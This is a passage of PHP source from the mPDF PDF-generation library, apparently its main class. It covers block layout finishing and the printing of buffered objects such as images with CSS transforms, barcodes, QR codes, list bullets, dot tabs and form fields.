$this->sizeConverter->convert($this->blk[$this->blklvl]['text_indent'], $this->blk[$this->blklvl]['inner_width'], $this->blk[$this->blklvl]['InlineProperties']['size'], false); // mPDF 5.7.4 if ($blockdir != 'rtl') { $this->x += $ti; } // mPDF 6 } foreach ($chunkorder as $aord => $k) { // mPDF 5.7 $chunk = $content[$aord]; if (isset($this->objectbuffer[$k]) && $this->objectbuffer[$k]) { $xadj = $this->x - $this->objectbuffer[$k]['OUTER-X']; $this->objectbuffer[$k]['OUTER-X'] += $xadj; $this->objectbuffer[$k]['BORDER-X'] += $xadj; $this->objectbuffer[$k]['INNER-X'] += $xadj; if ($this->objectbuffer[$k]['type'] == 'listmarker') { $this->objectbuffer[$k]['lineBox'] = $lineBox[-1]; // Block element details for glyph-origin } $yadj = $this->y - $this->objectbuffer[$k]['OUTER-Y']; if ($this->objectbuffer[$k]['type'] == 'dottab') { // mPDF 6 DOTTAB $this->objectbuffer[$k]['lineBox'] = $lineBox[$k]; // element details for glyph-origin } if ($this->objectbuffer[$k]['type'] != 'dottab') { // mPDF 6 DOTTAB $yadj += $lineBox[$k]['top']; } $this->objectbuffer[$k]['OUTER-Y'] += $yadj; $this->objectbuffer[$k]['BORDER-Y'] += $yadj; $this->objectbuffer[$k]['INNER-Y'] += $yadj; } $this->restoreFont($font[$k]); // mPDF 5.7 if ($is_table && substr($align, 0, 1) == 'D' && $aord == 0) { $dp = $this->decimal_align[substr($align, 0, 2)]; $s = preg_split('/' . preg_quote($dp, '/') . '/', $content[0], 2); // ? needs to be /u if not core $s0 = $this->GetStringWidth($s[0], false); $this->x += ($this->decimal_offset - $s0); } $this->SetSpacing(($this->fixedlSpacing * Mpdf::SCALE) + $jcharspacing, ($this->fixedlSpacing + $this->minwSpacing) * Mpdf::SCALE + $jws); $this->fixedlSpacing = false; $this->minwSpacing = 0; $save_vis = $this->visibility; if (isset($this->textparam['visibility']) && $this->textparam['visibility'] && $this->textparam['visibility'] != $this->visibility) { $this->SetVisibility($this->textparam['visibility']); } // *********** SPAN BACKGROUND COLOR ***************** // if (isset($this->spanbgcolor) && $this->spanbgcolor) { $cor = $this->spanbgcolorarray; $this->SetFColor($cor); $save_fill = $fill; $spanfill = 1; $fill = 1; } if (!empty($this->spanborddet)) { if (strpos($contentB[$k], 'L') !== false && isset($this->spanborddet['L'])) { $this->x += $this->spanborddet['L']['w']; } if (strpos($contentB[$k], 'L') === false) { $this->spanborddet['L']['s'] = $this->spanborddet['L']['w'] = 0; } if (strpos($contentB[$k], 'R') === false) { $this->spanborddet['R']['s'] = $this->spanborddet['R']['w'] = 0; } } // WORD SPACING // mPDF 5.7.1 $stringWidth = $this->GetStringWidth($chunk, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar); $nch = mb_strlen($chunk, $this->mb_enc); // Use GPOS OTL if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { if (isset($cOTLdata[$aord]['group']) && $cOTLdata[$aord]['group']) { $nch -= substr_count($cOTLdata[$aord]['group'], 'M'); } } $stringWidth += ( $this->charspacing * $nch / Mpdf::SCALE ); $stringWidth += ( $this->ws * mb_substr_count($chunk, ' ', $this->mb_enc) / Mpdf::SCALE ); if (isset($this->objectbuffer[$k])) { if ($this->objectbuffer[$k]['type'] == 'dottab') { $this->objectbuffer[$k]['OUTER-WIDTH'] +=$empty; $this->objectbuffer[$k]['OUTER-WIDTH'] +=$this->objectbuffer[$k]['outdent']; } // LIST MARKERS // mPDF 6 Lists if ($this->objectbuffer[$k]['type'] == 'image' && isset($this->objectbuffer[$k]['listmarker']) && $this->objectbuffer[$k]['listmarker'] && $this->objectbuffer[$k]['listmarkerposition'] == 'outside') { // do nothing } else { $stringWidth = $this->objectbuffer[$k]['OUTER-WIDTH']; } } if ($stringWidth == 0) { $stringWidth = 0.000001; } if ($aord == $arraysize - 1) { // mPDF 5.7 // mPDF 5.7.1 if ($this->checkCJK && $CJKoverflow && $align == 'J' && $this->allowCJKoverflow && $hanger && $this->CJKforceend) { // force-end overhang $this->Cell($stringWidth, $stackHeight, $chunk, '', 0, '', $fill, $this->HREF, $currentx, 0, 0, 'M', $fill, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, (isset($lineBox[$k]) ? $lineBox[$k] : false)); // mPDF 5.7.1 $this->Cell($this->GetStringWidth($hanger), $stackHeight, $hanger, '', 1, '', $fill, $this->HREF, $currentx, 0, 0, 'M', $fill, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, (isset($lineBox[$k]) ? $lineBox[$k] : false)); // mPDF 5.7.1 } else { $this->Cell($stringWidth, $stackHeight, $chunk, '', 1, '', $fill, $this->HREF, $currentx, 0, 0, 'M', $fill, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, (isset($lineBox[$k]) ? $lineBox[$k] : false)); // mPDF 5.7.1 } } else { $this->Cell($stringWidth, $stackHeight, $chunk, '', 0, '', $fill, $this->HREF, 0, 0, 0, 'M', $fill, true, (isset($cOTLdata[$aord]) ? $cOTLdata[$aord] : false), $this->textvar, (isset($lineBox[$k]) ? $lineBox[$k] : false)); // first or middle part // mPDF 5.7.1 } if (!empty($this->spanborddet)) { if (strpos($contentB[$k], 'R') !== false && $aord != $arraysize - 1) { $this->x += $this->spanborddet['R']['w']; } } // *********** SPAN BACKGROUND COLOR OFF - RESET BLOCK BGCOLOR ***************** // if (isset($spanfill) && $spanfill) { $fill = $save_fill; $spanfill = 0; if ($fill) { $this->SetFColor($bcor); } } if (isset($this->textparam['visibility']) && $this->textparam['visibility'] && $this->visibility != $save_vis) { $this->SetVisibility($save_vis); } } $this->printobjectbuffer($is_table, $blockdir); $this->objectbuffer = []; $this->ResetSpacing(); } // END IF CONTENT /* -- CSS-IMAGE-FLOAT -- */ // Update values if set to skipline if ($this->floatmargins) { $this->_advanceFloatMargins(); } if ($endofblock && $blockstate > 1) { // If float exists at this level if (isset($this->floatmargins['R']['y1'])) { $fry1 = $this->floatmargins['R']['y1']; } else { $fry1 = 0; } if (isset($this->floatmargins['L']['y1'])) { $fly1 = $this->floatmargins['L']['y1']; } else { $fly1 = 0; } if ($this->y < $fry1 || $this->y < $fly1) { $drop = max($fry1, $fly1) - $this->y; $this->DivLn($drop); $this->x = $currentx; } } /* -- END CSS-IMAGE-FLOAT -- */ // PADDING and BORDER spacing/fill if ($endofblock && ($blockstate > 1) && ($this->blk[$this->blklvl]['padding_bottom'] || $this->blk[$this->blklvl]['border_bottom'] || $this->blk[$this->blklvl]['css_set_height']) && (!$is_table)) { // If CSS height set, extend bottom - if on same page as block started, and CSS HEIGHT > actual height, // and does not force pagebreak $extra = 0; if (isset($this->blk[$this->blklvl]['css_set_height']) && $this->blk[$this->blklvl]['css_set_height'] && $this->blk[$this->blklvl]['startpage'] == $this->page) { // predicted height $h1 = ($this->y - $this->blk[$this->blklvl]['y0']) + $this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['border_bottom']['w']; if ($h1 < ($this->blk[$this->blklvl]['css_set_height'] + $this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['padding_top'])) { $extra = ($this->blk[$this->blklvl]['css_set_height'] + $this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['padding_top']) - $h1; } if ($this->y + $this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['border_bottom']['w'] + $extra > $this->PageBreakTrigger) { $extra = $this->PageBreakTrigger - ($this->y + $this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['border_bottom']['w']); } } // $state = 0 normal; 1 top; 2 bottom; 3 top and bottom $this->DivLn($this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['border_bottom']['w'] + $extra, -3, true, false, 2); $this->x = $currentx; if ($this->ColActive) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* } // SET Bottom y1 of block (used for painting borders) if (($endofblock) && ($blockstate > 1) && (!$is_table)) { $this->blk[$this->blklvl]['y1'] = $this->y; } // BOTTOM MARGIN if (($endofblock) && ($blockstate > 1) && ($this->blk[$this->blklvl]['margin_bottom']) && (!$is_table)) { if ($this->y + $this->blk[$this->blklvl]['margin_bottom'] < $this->PageBreakTrigger and ! $this->InFooter) { $this->DivLn($this->blk[$this->blklvl]['margin_bottom'], $this->blklvl - 1, true, $this->blk[$this->blklvl]['margin_collapse']); if ($this->ColActive) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* } } // Reset lineheight $stackHeight = $this->divheight; } function printobjectbuffer($is_table = false, $blockdir = false) { if (!$blockdir) { $blockdir = $this->directionality; } if ($is_table && $this->shrin_k > 1) { $k = $this->shrin_k; } else { $k = 1; } $save_y = $this->y; $save_x = $this->x; $save_currentfontfamily = $this->FontFamily; $save_currentfontsize = $this->FontSizePt; $save_currentfontstyle = $this->FontStyle; if ($blockdir == 'rtl') { $rtlalign = 'R'; } else { $rtlalign = 'L'; } foreach ($this->objectbuffer as $ib => $objattr) { if ($objattr['type'] == 'bookmark' || $objattr['type'] == 'indexentry' || $objattr['type'] == 'toc') { $x = $objattr['OUTER-X']; $y = $objattr['OUTER-Y']; $this->y = $y - $this->FontSize / 2; $this->x = $x; if ($objattr['type'] == 'bookmark') { $this->Bookmark($objattr['CONTENT'], $objattr['bklevel'], $y - $this->FontSize); } // *BOOKMARKS* if ($objattr['type'] == 'indexentry') { $this->IndexEntry($objattr['CONTENT']); } // *INDEX* if ($objattr['type'] == 'toc') { $this->TOC_Entry($objattr['CONTENT'], $objattr['toclevel'], (isset($objattr['toc_id']) ? $objattr['toc_id'] : '')); } // *TOC* } /* -- ANNOTATIONS -- */ elseif ($objattr['type'] == 'annot') { if ($objattr['POS-X']) { $x = $objattr['POS-X']; } elseif ($this->annotMargin <> 0) { $x = -$objattr['OUTER-X']; } else { $x = $objattr['OUTER-X']; } if ($objattr['POS-Y']) { $y = $objattr['POS-Y']; } else { $y = $objattr['OUTER-Y'] - $this->FontSize / 2; } // Create a dummy entry in the _out/columnBuffer with position sensitive data, // linking $y-1 in the Columnbuffer with entry in $this->columnAnnots // and when columns are split in length will not break annotation from current line $this->y = $y - 1; $this->x = $x - 1; $this->Line($x - 1, $y - 1, $x - 1, $y - 1); $this->Annotation($objattr['CONTENT'], $x, $y, $objattr['ICON'], $objattr['AUTHOR'], $objattr['SUBJECT'], $objattr['OPACITY'], $objattr['COLOR'], (isset($objattr['POPUP']) ? $objattr['POPUP'] : ''), (isset($objattr['FILE']) ? $objattr['FILE'] : '')); } /* -- END ANNOTATIONS -- */ else { $y = $objattr['OUTER-Y']; $x = $objattr['OUTER-X']; $w = $objattr['OUTER-WIDTH']; $h = $objattr['OUTER-HEIGHT']; if (isset($objattr['text'])) { $texto = $objattr['text']; } $this->y = $y; $this->x = $x; if (isset($objattr['fontfamily'])) { $this->SetFont($objattr['fontfamily'], '', $objattr['fontsize']); } } // HR if ($objattr['type'] == 'hr') { $this->SetDColor($objattr['color']); switch ($objattr['align']) { case 'C': $empty = $objattr['OUTER-WIDTH'] - $objattr['INNER-WIDTH']; $empty /= 2; $x += $empty; break; case 'R': $empty = $objattr['OUTER-WIDTH'] - $objattr['INNER-WIDTH']; $x += $empty; break; } $oldlinewidth = $this->LineWidth; $this->SetLineWidth($objattr['linewidth'] / $k); $this->y += ($objattr['linewidth'] / 2) + $objattr['margin_top'] / $k; $this->Line($x, $this->y, $x + $objattr['INNER-WIDTH'], $this->y); $this->SetLineWidth($oldlinewidth); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } // IMAGE if ($objattr['type'] == 'image') { // mPDF 5.7.3 TRANSFORMS if (isset($objattr['transform'])) { $this->writer->write("\n" . '% BTR'); // Begin Transform } if (isset($objattr['z-index']) && $objattr['z-index'] > 0 && $this->current_layer == 0) { $this->BeginLayer($objattr['z-index']); } if (isset($objattr['visibility']) && $objattr['visibility'] != 'visible' && $objattr['visibility']) { $this->SetVisibility($objattr['visibility']); } if (isset($objattr['opacity'])) { $this->SetAlpha($objattr['opacity']); } $obiw = $objattr['INNER-WIDTH']; $obih = $objattr['INNER-HEIGHT']; $sx = $objattr['orig_w'] ? ($objattr['INNER-WIDTH'] * Mpdf::SCALE / $objattr['orig_w']) : INF; $sy = $objattr['orig_h'] ? ($objattr['INNER-HEIGHT'] * Mpdf::SCALE / $objattr['orig_h']) : INF; $rotate = 0; if (isset($objattr['ROTATE'])) { $rotate = $objattr['ROTATE']; } if ($rotate == 90) { // Clockwise $obiw = $objattr['INNER-HEIGHT']; $obih = $objattr['INNER-WIDTH']; $tr = $this->transformTranslate(0, -$objattr['INNER-WIDTH'], true); $tr .= ' ' . $this->transformRotate(90, $objattr['INNER-X'], ($objattr['INNER-Y'] + $objattr['INNER-WIDTH']), true); $sx = $obiw * Mpdf::SCALE / $objattr['orig_h']; $sy = $obih * Mpdf::SCALE / $objattr['orig_w']; } elseif ($rotate == -90 || $rotate == 270) { // AntiClockwise $obiw = $objattr['INNER-HEIGHT']; $obih = $objattr['INNER-WIDTH']; $tr = $this->transformTranslate($objattr['INNER-WIDTH'], ($objattr['INNER-HEIGHT'] - $objattr['INNER-WIDTH']), true); $tr .= ' ' . $this->transformRotate(-90, $objattr['INNER-X'], ($objattr['INNER-Y'] + $objattr['INNER-WIDTH']), true); $sx = $obiw * Mpdf::SCALE / $objattr['orig_h']; $sy = $obih * Mpdf::SCALE / $objattr['orig_w']; } elseif ($rotate == 180) { // Mirror $tr = $this->transformTranslate($objattr['INNER-WIDTH'], -$objattr['INNER-HEIGHT'], true); $tr .= ' ' . $this->transformRotate(180, $objattr['INNER-X'], ($objattr['INNER-Y'] + $objattr['INNER-HEIGHT']), true); } else { $tr = ''; } $tr = trim($tr); if ($tr) { $tr .= ' '; } $gradmask = ''; // mPDF 5.7.3 TRANSFORMS $tr2 = ''; if (isset($objattr['transform'])) { $maxsize_x = $w; $maxsize_y = $h; $cx = $x + $w / 2; $cy = $y + $h / 2; preg_match_all('/(translatex|translatey|translate|scalex|scaley|scale|rotate|skewX|skewY|skew)\((.*?)\)/is', $objattr['transform'], $m); if (count($m[0])) { for ($i = 0; $i < count($m[0]); $i++) { $c = strtolower($m[1][$i]); $v = trim($m[2][$i]); $vv = preg_split('/[ ,]+/', $v); if ($c == 'translate' && count($vv)) { $translate_x = $this->sizeConverter->convert($vv[0], $maxsize_x, false, false); if (count($vv) == 2) { $translate_y = $this->sizeConverter->convert($vv[1], $maxsize_y, false, false); } else { $translate_y = 0; } $tr2 .= $this->transformTranslate($translate_x, $translate_y, true) . ' '; } elseif ($c == 'translatex' && count($vv)) { $translate_x = $this->sizeConverter->convert($vv[0], $maxsize_x, false, false); $tr2 .= $this->transformTranslate($translate_x, 0, true) . ' '; } elseif ($c == 'translatey' && count($vv)) { $translate_y = $this->sizeConverter->convert($vv[1], $maxsize_y, false, false); $tr2 .= $this->transformTranslate(0, $translate_y, true) . ' '; } elseif ($c == 'scale' && count($vv)) { $scale_x = $vv[0] * 100; if (count($vv) == 2) { $scale_y = $vv[1] * 100; } else { $scale_y = $scale_x; } $tr2 .= $this->transformScale($scale_x, $scale_y, $cx, $cy, true) . ' '; } elseif ($c == 'scalex' && count($vv)) { $scale_x = $vv[0] * 100; $tr2 .= $this->transformScale($scale_x, 0, $cx, $cy, true) . ' '; } elseif ($c == 'scaley' && count($vv)) { $scale_y = $vv[1] * 100; $tr2 .= $this->transformScale(0, $scale_y, $cx, $cy, true) . ' '; } elseif ($c == 'skew' && count($vv)) { $angle_x = $this->ConvertAngle($vv[0], false); if (count($vv) == 2) { $angle_y = $this->ConvertAngle($vv[1], false); } else { $angle_y = 0; } $tr2 .= $this->transformSkew($angle_x, $angle_y, $cx, $cy, true) . ' '; } elseif ($c == 'skewx' && count($vv)) { $angle = $this->ConvertAngle($vv[0], false); $tr2 .= $this->transformSkew($angle, 0, $cx, $cy, true) . ' '; } elseif ($c == 'skewy' && count($vv)) { $angle = $this->ConvertAngle($vv[0], false); $tr2 .= $this->transformSkew(0, $angle, $cx, $cy, true) . ' '; } elseif ($c == 'rotate' && count($vv)) { $angle = $this->ConvertAngle($vv[0]); $tr2 .= $this->transformRotate($angle, $cx, $cy, true) . ' '; } } } } // LIST MARKERS (Images) // mPDF 6 Lists if (isset($objattr['listmarker']) && $objattr['listmarker'] && $objattr['listmarkerposition'] == 'outside') { $mw = $objattr['OUTER-WIDTH']; // NB If change marker-offset, also need to alter in function _getListMarkerWidth $adjx = $this->sizeConverter->convert($this->list_marker_offset, $this->FontSize); if ($objattr['dir'] == 'rtl') { $objattr['INNER-X'] += $adjx; } else { $objattr['INNER-X'] -= $adjx; $objattr['INNER-X'] -= $mw; } } // mPDF 5.7.3 TRANSFORMS / BACKGROUND COLOR // Transform also affects image background if ($tr2) { $this->writer->write('q ' . $tr2 . ' '); } if (isset($objattr['bgcolor']) && $objattr['bgcolor']) { $bgcol = $objattr['bgcolor']; $this->SetFColor($bgcol); $this->Rect($x, $y, $w, $h, 'F'); $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); } if ($tr2) { $this->writer->write('Q'); } /* -- BACKGROUNDS -- */ if (isset($objattr['GRADIENT-MASK'])) { $g = $this->gradient->parseMozGradient($objattr['GRADIENT-MASK']); if ($g) { $dummy = $this->gradient->Gradient($objattr['INNER-X'], $objattr['INNER-Y'], $obiw, $obih, $g['type'], $g['stops'], $g['colorspace'], $g['coords'], $g['extend'], true, true); $gradmask = '/TGS' . count($this->gradients) . ' gs '; } } /* -- END BACKGROUNDS -- */ /* -- IMAGES-WMF -- */ if (isset($objattr['itype']) && $objattr['itype'] == 'wmf') { $outstring = sprintf('q ' . $tr . $tr2 . '%.3F 0 0 %.3F %.3F %.3F cm /FO%d Do Q', $sx, -$sy, $objattr['INNER-X'] * Mpdf::SCALE - $sx * $objattr['wmf_x'], (($this->h - $objattr['INNER-Y']) * Mpdf::SCALE) + $sy * $objattr['wmf_y'], $objattr['ID']); // mPDF 5.7.3 TRANSFORMS } else { /* -- END IMAGES-WMF -- */ if (isset($objattr['itype']) && $objattr['itype'] == 'svg') { $outstring = sprintf('q ' . $tr . $tr2 . '%.3F 0 0 %.3F %.3F %.3F cm /FO%d Do Q', $sx, -$sy, $objattr['INNER-X'] * Mpdf::SCALE - $sx * $objattr['wmf_x'], (($this->h - $objattr['INNER-Y']) * Mpdf::SCALE) + $sy * $objattr['wmf_y'], $objattr['ID']); // mPDF 5.7.3 TRANSFORMS } else { $outstring = sprintf("q " . $tr . $tr2 . "%.3F 0 0 %.3F %.3F %.3F cm " . $gradmask . "/I%d Do Q", $obiw * Mpdf::SCALE, $obih * Mpdf::SCALE, $objattr['INNER-X'] * Mpdf::SCALE, ($this->h - ($objattr['INNER-Y'] + $obih )) * Mpdf::SCALE, $objattr['ID']); // mPDF 5.7.3 TRANSFORMS } } $this->writer->write($outstring); // LINK if (isset($objattr['link'])) { $this->Link($objattr['INNER-X'], $objattr['INNER-Y'], $objattr['INNER-WIDTH'], $objattr['INNER-HEIGHT'], $objattr['link']); } if (isset($objattr['opacity'])) { $this->SetAlpha(1); } // mPDF 5.7.3 TRANSFORMS // Transform also affects image borders if ($tr2) { $this->writer->write('q ' . $tr2 . ' '); } if ((isset($objattr['border_top']) && $objattr['border_top'] > 0) || (isset($objattr['border_left']) && $objattr['border_left'] > 0) || (isset($objattr['border_right']) && $objattr['border_right'] > 0) || (isset($objattr['border_bottom']) && $objattr['border_bottom'] > 0)) { $this->PaintImgBorder($objattr, $is_table); } if ($tr2) { $this->writer->write('Q'); } if (isset($objattr['visibility']) && $objattr['visibility'] != 'visible' && $objattr['visibility']) { $this->SetVisibility('visible'); } if (isset($objattr['z-index']) && $objattr['z-index'] > 0 && $this->current_layer == 0) { $this->EndLayer(); } // mPDF 5.7.3 TRANSFORMS if (isset($objattr['transform'])) { $this->writer->write("\n" . '% ETR'); // End Transform } } if ($objattr['type'] === 'barcode') { $bgcol = $this->colorConverter->convert(255, $this->PDFAXwarnings); if (isset($objattr['bgcolor']) && $objattr['bgcolor']) { $bgcol = $objattr['bgcolor']; } $col = $this->colorConverter->convert(0, $this->PDFAXwarnings); if (isset($objattr['color']) && $objattr['color']) { $col = $objattr['color']; } $this->SetFColor($bgcol); $this->Rect($objattr['BORDER-X'], $objattr['BORDER-Y'], $objattr['BORDER-WIDTH'], $objattr['BORDER-HEIGHT'], 'F'); $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); if (isset($objattr['BORDER-WIDTH'])) { $this->PaintImgBorder($objattr, $is_table); } $barcodeTypes = ['EAN13', 'ISBN', 'ISSN', 'UPCA', 'UPCE', 'EAN8']; if (in_array($objattr['btype'], $barcodeTypes, true)) { $this->WriteBarcode( $objattr['code'], $objattr['showtext'], $objattr['INNER-X'], $objattr['INNER-Y'], $objattr['bsize'], 0, 0, 0, 0, 0, $objattr['bheight'], $bgcol, $col, $objattr['btype'], $objattr['bsupp'], (isset($objattr['bsupp_code']) ? $objattr['bsupp_code'] : ''), $k ); } elseif ($objattr['btype'] === 'QR') { if (!class_exists('Mpdf\QrCode\QrCode')) { throw new \Mpdf\MpdfException('Class Mpdf\QrCode\QrCode does not exists. Install the package from Packagist with "composer require mpdf/qrcode"'); } $barcodeContent = str_replace('\r\n', "\r\n", $objattr['code']); $barcodeContent = str_replace('\n', "\n", $barcodeContent); $qrcode = new QrCode\QrCode($barcodeContent, $objattr['errorlevel']); if ($objattr['disableborder']) { $qrcode->disableBorder(); } $bgColor = [255, 255, 255]; if ($objattr['bgcolor']) { $bgColor = array_map( function ($col) { return intval(255 * floatval($col)); }, explode(" ", $this->SetColor($objattr['bgcolor'], 'CodeOnly')) ); } $color = [0, 0, 0]; if ($objattr['color']) { $color = array_map( function ($col) { return intval(255 * floatval($col)); }, explode(" ", $this->SetColor($objattr['color'], 'CodeOnly')) ); } $out = new QrCode\Output\Mpdf(); $out->output( $qrcode, $this, $objattr['INNER-X'], $objattr['INNER-Y'], $objattr['bsize'] * 25, $bgColor, $color ); unset($qrcode); } else { $this->WriteBarcode2( $objattr['code'], $objattr['INNER-X'], $objattr['INNER-Y'], $objattr['bsize'], $objattr['bheight'], $bgcol, $col, $objattr['btype'], $objattr['pr_ratio'], $k ); } } // TEXT CIRCLE if ($objattr['type'] == 'textcircle') { $bgcol = ''; if (isset($objattr['bgcolor']) && $objattr['bgcolor']) { $bgcol = $objattr['bgcolor']; } $col = $this->colorConverter->convert(0, $this->PDFAXwarnings); if (isset($objattr['color']) && $objattr['color']) { $col = $objattr['color']; } $this->SetTColor($col); $this->SetFColor($bgcol); if ($bgcol) { $this->Rect($objattr['BORDER-X'], $objattr['BORDER-Y'], $objattr['BORDER-WIDTH'], $objattr['BORDER-HEIGHT'], 'F'); } $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); if (isset($objattr['BORDER-WIDTH'])) { $this->PaintImgBorder($objattr, $is_table); } if (empty($this->directWrite)) { $this->directWrite = new DirectWrite($this, $this->otl, $this->sizeConverter, $this->colorConverter); } if (isset($objattr['top-text'])) { $this->directWrite->CircularText($objattr['INNER-X'] + $objattr['INNER-WIDTH'] / 2, $objattr['INNER-Y'] + $objattr['INNER-HEIGHT'] / 2, $objattr['r'] / $k, $objattr['top-text'], 'top', $objattr['fontfamily'], $objattr['fontsize'] / $k, $objattr['fontstyle'], $objattr['space-width'], $objattr['char-width'], (isset($objattr['divider']) ? $objattr['divider'] : '')); } if (isset($objattr['bottom-text'])) { $this->directWrite->CircularText($objattr['INNER-X'] + $objattr['INNER-WIDTH'] / 2, $objattr['INNER-Y'] + $objattr['INNER-HEIGHT'] / 2, $objattr['r'] / $k, $objattr['bottom-text'], 'bottom', $objattr['fontfamily'], $objattr['fontsize'] / $k, $objattr['fontstyle'], $objattr['space-width'], $objattr['char-width'], (isset($objattr['divider']) ? $objattr['divider'] : '')); } } $this->ResetSpacing(); // LIST MARKERS (Text or bullets) // mPDF 6 Lists if ($objattr['type'] == 'listmarker') { if (isset($objattr['fontfamily'])) { $this->SetFont($objattr['fontfamily'], $objattr['fontstyle'], $objattr['fontsizept']); } $col = $this->colorConverter->convert(0, $this->PDFAXwarnings); if (isset($objattr['colorarray']) && ($objattr['colorarray'])) { $col = $objattr['colorarray']; } if (isset($objattr['bullet']) && $objattr['bullet']) { // Used for position "outside" only $type = $objattr['bullet']; $size = $objattr['size']; if ($objattr['listmarkerposition'] == 'inside') { $adjx = $size / 2; if ($objattr['dir'] == 'rtl') { $adjx += $objattr['offset']; } $this->x += $adjx; } else { $adjx = $objattr['offset']; $adjx += $size / 2; if ($objattr['dir'] == 'rtl') { $this->x += $adjx; } else { $this->x -= $adjx; } } $yadj = $objattr['lineBox']['glyphYorigin']; if (isset($this->CurrentFont['desc']['XHeight']) && $this->CurrentFont['desc']['XHeight']) { $xh = $this->CurrentFont['desc']['XHeight']; } else { $xh = 500; } $yadj -= ($this->FontSize * $xh / 1000) * 0.625; // Vertical height of bullet (centre) from baseline= XHeight * 0.625 $this->y += $yadj; $this->_printListBullet($this->x, $this->y, $size, $type, $col); } else { $this->SetTColor($col); $w = $this->GetStringWidth($texto); // NB If change marker-offset, also need to alter in function _getListMarkerWidth $adjx = $this->sizeConverter->convert($this->list_marker_offset, $this->FontSize); if ($objattr['dir'] == 'rtl') { $align = 'L'; $this->x += $adjx; } else { // Use these lines to set as marker-offset, right-aligned - default $align = 'R'; $this->x -= $adjx; $this->x -= $w; } $this->Cell($w, $this->FontSize, $texto, 0, 0, $align, 0, '', 0, 0, 0, 'T', 0, false, false, 0, $objattr['lineBox']); $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } } // DOT-TAB if ($objattr['type'] == 'dottab') { if (isset($objattr['fontfamily'])) { $this->SetFont($objattr['fontfamily'], '', $objattr['fontsize']); } $sp = $this->GetStringWidth(' '); $nb = floor(($w - 2 * $sp) / $this->GetStringWidth('.')); if ($nb > 0) { $dots = ' ' . str_repeat('.', $nb) . ' '; } else { $dots = ' '; } $col = $this->colorConverter->convert(0, $this->PDFAXwarnings); if (isset($objattr['colorarray']) && ($objattr['colorarray'])) { $col = $objattr['colorarray']; } $this->SetTColor($col); $save_dh = $this->divheight; $save_sbd = $this->spanborddet; $save_textvar = $this->textvar; // mPDF 5.7.1 $this->spanborddet = ''; $this->divheight = 0; $this->textvar = 0x00; // mPDF 5.7.1 $this->Cell($w, $h, $dots, 0, 0, 'C', 0, '', 0, 0, 0, 'T', 0, false, false, 0, $objattr['lineBox']); // mPDF 6 DOTTAB $this->spanborddet = $save_sbd; $this->textvar = $save_textvar; // mPDF 5.7.1 $this->divheight = $save_dh; $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } /* -- FORMS -- */ // TEXT/PASSWORD INPUT if ($objattr['type'] == 'input' && ($objattr['subtype'] == 'TEXT' || $objattr['subtype'] == 'PASSWORD')) { $this->form->print_ob_text($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir); } // TEXTAREA if ($objattr['type'] == 'textarea') { $this->form->print_ob_textarea($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir); } // SELECT if ($objattr['type'] == 'select') { $this->form->print_ob_select($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir); } // INPUT/BUTTON as IMAGE if ($objattr['type'] == 'input' && $objattr['subtype'] == 'IMAGE') { $this->form->print_ob_imageinput($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir, $is_table); } // BUTTON if ($objattr['type'] == 'input' && ($objattr['subtype'] == 'SUBMIT' || $objattr['subtype'] == 'RESET' || $objattr['subtype'] == 'BUTTON')) { $this->form->print_ob_button($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir); } // CHECKBOX if ($objattr['type'] == 'input' && ($objattr['subtype'] == 'CHECKBOX')) { $this->form->print_ob_checkbox($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir, $x, $y); } // RADIO if ($objattr['type'] == 'input' && ($objattr['subtype'] == 'RADIO')) { $this->form->print_ob_radio($objattr, $w, $h, $texto, $rtlalign, $k, $blockdir, $x, $y); } /* -- END FORMS -- */ } $this->SetFont($save_currentfontfamily, $save_currentfontstyle, $save_currentfontsize); $this->y = $save_y; $this->x = $save_x; unset($content); } function _printListBullet($x, $y, $size, $type, $color) { // x and y are the centre of the bullet; size is the width and/or height in mm $fcol = $this->SetTColor($color, true); $lcol = strtoupper($fcol); // change 0 0 0 rg to 0 0 0 RG $this->writer->write(sprintf('q %s %s', $lcol, $fcol)); $this->writer->write('0 j 0 J [] 0 d'); if ($type == 'square') { $size *= 0.85; // Smaller to appear the same size as circle/disc $this->writer->write(sprintf('%.3F %.3F %.3F %.3F re f', ($x - $size / 2) * Mpdf::SCALE, ($this->h - $y + $size / 2) * Mpdf::SCALE, ($size) * Mpdf::SCALE, (-$size) * Mpdf::SCALE)); } elseif ($type == 'disc') { $this->Circle($x, $y, $size / 2, 'F'); // Fill } elseif ($type == 'circle') { $lw = $size / 12; // Line width $this->writer->write(sprintf('%.3F w ', $lw * Mpdf::SCALE)); $this->Circle($x, $y, $size / 2 - $lw / 2, 'S'); // Stroke } $this->writer->write('Q'); } // mPDF 6 // Get previous character and move pointers function _moveToPrevChar(&$contentctr, &$charctr, $content) { $lastchar = false; $charctr--; while ($charctr < 0) { // go back to previous $content[] $contentctr--; if ($contentctr < 0) { return false; } if ($this->usingCoreFont) { $charctr = strlen($content[$contentctr]) - 1; } else { $charctr = mb_strlen($content[$contentctr], $this->mb_enc) - 1; } } if ($this->usingCoreFont) { $lastchar = $content[$contentctr][$charctr]; } else { $lastchar 